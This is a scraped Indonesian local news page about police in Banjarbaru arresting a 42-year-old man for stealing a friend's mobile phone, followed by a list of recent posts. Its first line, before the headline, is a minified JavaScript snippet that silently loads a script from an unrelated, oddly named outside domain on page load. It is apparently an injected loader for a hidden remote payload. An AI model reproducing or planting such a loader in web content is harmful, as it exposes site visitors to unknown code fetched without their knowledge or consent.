(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Curi HP Teman Sendiri, Pria 42 Tahun Warga Bangkal Masuk Bui


KANALKALIMANTAN.COM, BANJARBARU – Unit Opsnal Polsek Banjarbaru Utara menciduk pelaku pencurian. Ironisnya, korban pencurian adalah teman sendiri.

Polisi membekuk tersangka K (42), warga Jalan Mistar Cokrokusumo RT 03 RW 01, Kelurahan Bangkal, Kecamatan Cempaka Kota Banjarbaru.

Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan tersangka K (42) diduga mencuri handphone milik kawannya, ketika pelaku datang ke rumah korban.

“Pelaku sama korban saling kenal, saat itu pelaku datang ke rumah korban, tiba-tiba pelaku mengambil hp korban dan melarikan diri saat dikejar,” ucapnya, Kamis (3/3/2022).

 

 

Baca juga: Ketika Kedelai Impor Terus Naik: Pengrajin Tempe di Banjarbaru Kecilkan Ukuran, Harga per Potong Dinaikan

Informasi diketahui ketika korban melaporkan handphone miliknya yang hilang pada Selasa (1/3/2022) sekitar pukul 15.30 Wita di Jalan Trikora Komplek Royal Residence, Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Aipda Andreas menambahkan K (42) diciduk petugas di rumahnya di Kelurahan Bangkal dipimpin Panit 2 Opsnal Reskrim Polsek Banjarbaru Utara Aiptu Sugeng Gunawan dan diback up oleh Unit Reskrim Polsek Cempaka. Setelah mendapat laporan bahwa pelaku berada di rumahnya di Kelurahan Bangkal, penangkapan pelaku pada Rabu (2/3/2022) sekitar pukul 21.00 Wita.

Saat dilakukan crosscheck, kemudian dilakukan penangkapan serta penggeledahan di rumah pelaku petugas berhasil menemukan barang bukti berhasil menemukan satu buah handphone merk Infinix note 10 warna hitam

“Barang bukti disembunyikan pelaku di dalam keranjang pakaian,” jelasnya.

Selanjutnya tersangka beserta barang bukti dibawa ke Polsek Banjarbaru Utara guna proses hukum lebih lanjut.

Baca juga: Tim Drum Band HSU Bidik Tiga Medali di Porprov 2022

Berdasarkan perbuatannya, kini pelaku harus mempertanggungjawabkan perbuatannya berdasarkan Pasal 362 KUHP.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : Bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.